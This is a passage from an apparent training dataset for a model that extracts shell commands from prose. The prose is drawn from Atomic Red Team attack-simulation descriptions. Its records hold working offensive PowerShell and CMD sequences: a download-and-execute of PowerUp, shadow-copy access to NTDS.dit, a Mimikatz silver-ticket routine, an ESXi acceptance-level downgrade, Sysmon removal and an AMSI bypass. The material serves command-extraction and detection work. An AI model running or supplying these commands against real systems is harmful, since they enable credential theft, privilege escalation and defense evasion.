{\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n To establish uncensored internet access through Psiphon 3's VPN, SSH, and HTTP Proxy technologies, execute this command: & \"PathToAtomicsFolder\\T1090.003\\src\\Psiphon.bat\". The process will be automatically terminated after connection.; For background onion routing functionality, execute the following sequence which launches Tor for 60 seconds:\ninvoke-expression 'cmd /c start powershell -Command {cmd /c \"#{TorExe}\"}'\nsleep -s 60\nstop-process -name \"tor\" | out-null\n", "output": "{\"command_list\": [\"& \\\"PathToAtomicsFolder\\\\T1090.003\\\\src\\\\Psiphon.bat\\\"\\n\", \"invoke-expression 'cmd /c start powershell -Command {cmd /c \\\"#{TorExe}\\\"}'\\nsleep -s 60\\nstop-process -name \\\"tor\\\" | out-null\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n For domain controllers, you may create a Volume Shadow Copy to access the NTDS.dit database with the command: (gwmi -list win32_shadowcopy).Create('#{drive_letter}','ClientAccessible'); On a domain controller, the NTDS.dit file can be extracted using Volume Shadow Copy, which requires executing this command:\nvssadmin.exe create shadow /for=#{drive_letter}\nmklink /D #{symlink_path} \\\\?\\GLOBALROOT\\Device\\HarddiskVolumeShadowCopy1\n", "output": "{\"command_list\": [\"(gwmi -list win32_shadowcopy).Create('#{drive_letter}','ClientAccessible')\\n\", \"vssadmin.exe create shadow /for=#{drive_letter}\\nmklink /D #{symlink_path} \\\\\\\\?\\\\GLOBALROOT\\\\Device\\\\HarddiskVolumeShadowCopy1\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n To generate and use a Kerberos silver ticket without affecting the current session, the following steps are performed in a temporary Windows environment. Run this command sequence: Remove-Item $env:TEMP\\silver.bat -ErrorAction Ignore\nRemove-Item $env:TEMP\\silver.txt -ErrorAction Ignore\n\n# get current domain SID if default was used\n$domain_sid = \"#{domain_sid}\"\nIf ($domain_sid -Match \"DEFAULT\") {\n # code from https://www.sevecek.com/EnglishPages/Lists/Posts/Post.aspx?ID=60\n $domain = gwmi Win32_ComputerSystem | Select -Expand Domain\n $krbtgtSID = (New-Object Security.Principal.NTAccount $domain\\krbtgt).Translate([Security.Principal.SecurityIdentifier]).Value\n $domain_sid = $krbtgtSID.SubString(0, $krbtgtSID.LastIndexOf('-'))\n}\n\n# create batch file with commands to run in a separate \"runas /netonly\" session\n# so we don't purge Kerberos ticket from the current Windows session\n# its output goes to silver.txt temp file, because we cannot capture \"runas /netonly\" output otherwise\n@\">%TEMP%\\silver.txt 2>&1 (\n echo Purge existing tickets and create silver ticket:\n klist purge\n #{mimikatz_path} \"kerberos::golden /domain:#{domain} /sid:DOMAIN_SID /aes256:#{service_aes256_key} /user:#{account} /service:HOST /target:#{target}.#{domain} /ptt\" \"exit\"\n\n echo.\n echo executing:schtasks /query /S #{target}.#{domain}\n schtasks /query /S #{target}.#{domain}\n \n echo.\n echo Tickets after requesting schtasks:\n klist\n\n echo.\n echo End of Silver Ticket attack\n)\n\"@ -Replace \"DOMAIN_SID\", $domain_sid | Out-File -Encoding OEM $env:TEMP\\silver.bat\n\n# run batch file in a new empty session (password and username do not matter)\necho \"foo\" | runas /netonly /user:fake \"$env:TEMP\\silver.bat\" | Out-Null\n\n# wait until the output file has logged the entire attack\ndo {\n Start-Sleep 1 # wait a bit so the output file has time to be created\n Get-Content -Path \"$env:TEMP\\silver.txt\" -Wait | ForEach-Object {\n if ($_ -match 'End of Silver Ticket attack') { break } \n }\n} while ($false) # dummy loop so that 'break' can be used\n\n# show output from new empty session\nGet-Content $env:TEMP\\silver.txt\n\n# cleanup temp files\nRemove-Item $env:TEMP\\silver.bat -ErrorAction Ignore\nRemove-Item $env:TEMP\\silver.txt -ErrorAction Ignore; An adversary can downgrade the VIB acceptance level to CommunitySupported using PowerCLI, which lowers the security criteria. This is done by running the following commands: Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false \nConnect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}\n(Get-EsxCli -VMHost #{vm_host} -V2).software.acceptance.set.Invoke(@{level = \"CommunitySupported\"})\nDisconnect-VIServer -Confirm:$false\n. After this, malicious VIBs can be installed on the host.", "output": "{\"command_list\": [\"Remove-Item $env:TEMP\\\\silver.bat -ErrorAction Ignore\\nRemove-Item $env:TEMP\\\\silver.txt -ErrorAction Ignore\\n\\n# get current domain SID if default was used\\n$domain_sid = \\\"#{domain_sid}\\\"\\nIf ($domain_sid -Match \\\"DEFAULT\\\") {\\n # code from https://www.sevecek.com/EnglishPages/Lists/Posts/Post.aspx?ID=60\\n $domain = gwmi Win32_ComputerSystem | Select -Expand Domain\\n $krbtgtSID = (New-Object Security.Principal.NTAccount $domain\\\\krbtgt).Translate([Security.Principal.SecurityIdentifier]).Value\\n $domain_sid = $krbtgtSID.SubString(0, $krbtgtSID.LastIndexOf('-'))\\n}\\n\\n# create batch file with commands to run in a separate \\\"runas /netonly\\\" session\\n# so we don't purge Kerberos ticket from the current Windows session\\n# its output goes to silver.txt temp file, because we cannot capture \\\"runas /netonly\\\" output otherwise\\n@\\\"\\n>%TEMP%\\\\silver.txt 2>&1 (\\n echo Purge existing tickets and create silver ticket:\\n klist purge\\n #{mimikatz_path} \\\"kerberos::golden /domain:#{domain} /sid:DOMAIN_SID /aes256:#{service_aes256_key} /user:#{account} /service:HOST /target:#{target}.#{domain} /ptt\\\" \\\"exit\\\"\\n\\n echo.\\n echo executing:schtasks /query /S #{target}.#{domain}\\n schtasks /query /S #{target}.#{domain}\\n \\n echo.\\n echo Tickets after requesting schtasks:\\n klist\\n\\n echo.\\n echo End of Silver Ticket attack\\n)\\n\\\"@ -Replace \\\"DOMAIN_SID\\\", $domain_sid | Out-File -Encoding OEM $env:TEMP\\\\silver.bat\\n\\n# run batch file in a new empty session (password and username do not matter)\\necho \\\"foo\\\" | runas /netonly /user:fake \\\"$env:TEMP\\\\silver.bat\\\" | Out-Null\\n\\n# wait until the output file has logged the entire attack\\ndo {\\n Start-Sleep 1 # wait a bit so the output file has time to be created\\n Get-Content -Path \\\"$env:TEMP\\\\silver.txt\\\" -Wait | ForEach-Object {\\n if ($_ -match 'End of Silver Ticket attack') { break } \\n }\\n} while ($false) # dummy loop so that 'break' can be used\\n\\n# show output from new empty session\\nGet-Content $env:TEMP\\\\silver.txt\\n\\n# cleanup temp files\\nRemove-Item $env:TEMP\\\\silver.bat -ErrorAction Ignore\\nRemove-Item $env:TEMP\\\\silver.txt -ErrorAction Ignore\\n\", \"Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false \\nConnect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}\\n(Get-EsxCli -VMHost #{vm_host} -V2).software.acceptance.set.Invoke(@{level = \\\"CommunitySupported\\\"})\\nDisconnect-VIServer -Confirm:$false\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n You can determine the logged-in user by executing this command that employs the WindowsIdentity class: [System.Security.Principal.WindowsIdentity]::GetCurrent() | Out-File -FilePath .\\CurrentUserObject.txt\n; During execution, SocGholish performs whoami discovery and outputs the results to a randomly named tmp file in AppData\\Temp, with the filename generated via this command: \n$TokenSet = @{\n U = [Char[]]'ABCDEFGHIJKLMNOPQRSTUVWXYZ'\n N = [Char[]]'0123456789'\n}\n$Upper = Get-Random -Count 5 -InputObject $TokenSet.U\n$Number = Get-Random -Count 5 -InputObject $TokenSet.N\n$StringSet = $Upper + $Number\n$rad = (Get-Random -Count 5 -InputObject $StringSet) -join ''\n$file = \"rad\" + $rad + \".tmp\"\n\nwhoami.exe /all >> #{output_path}\\$file\n", "output": "{\"command_list\": [\"[System.Security.Principal.WindowsIdentity]::GetCurrent() | Out-File -FilePath .\\\\CurrentUserObject.txt\\n\", \"$TokenSet = @{\\n U = [Char[]]'ABCDEFGHIJKLMNOPQRSTUVWXYZ'\\n N = [Char[]]'0123456789'\\n}\\n$Upper = Get-Random -Count 5 -InputObject $TokenSet.U\\n$Number = Get-Random -Count 5 -InputObject $TokenSet.N\\n$StringSet = $Upper + $Number\\n$rad = (Get-Random -Count 5 -InputObject $StringSet) -join ''\\n$file = \\\"rad\\\" + $rad + \\\".tmp\\\"\\n\\nwhoami.exe /all >> #{output_path}\\\\$file\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n The Sysinternals Sysmon tool can be uninstalled for defense evasion with the command: sysmon -u; An effective method to bypass AMSI involves modifying the DLL in memory, specifically setting the 'amsiInitFailed' function to true, which can be done with this command: [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)\n", "output": "{\"command_list\": [\"sysmon -u\\n\", \"[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n To terminate a specific service by sending a SIGTERM signal, use the following command: sudo killall -SIGTERM #{process_name}; The kill command can be used to stop a service by sending a SIGTERM signal, like this: sudo kill -SIGTERM $(pgrep #{process_name}). This terminates the running process or does nothing if the service isn't active.", "output": "{\"command_list\": [\"sudo killall -SIGTERM #{process_name}\\n\", \"sudo kill -SIGTERM $(pgrep #{process_name})\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n This script simulates OSTap's activity by creating and executing a test file with the command: pushd #{destination_path}\necho var fileObject = WScript.createobject(\"Scripting.FileSystemObject\");var newfile = fileObject.CreateTextFile(\"AtomicTestFileT1105.js\", true);newfile.WriteLine(\"This is an atomic red team test file for T1105. It simulates how OSTap worms accross network shares and drives.\");newfile.Close(); > 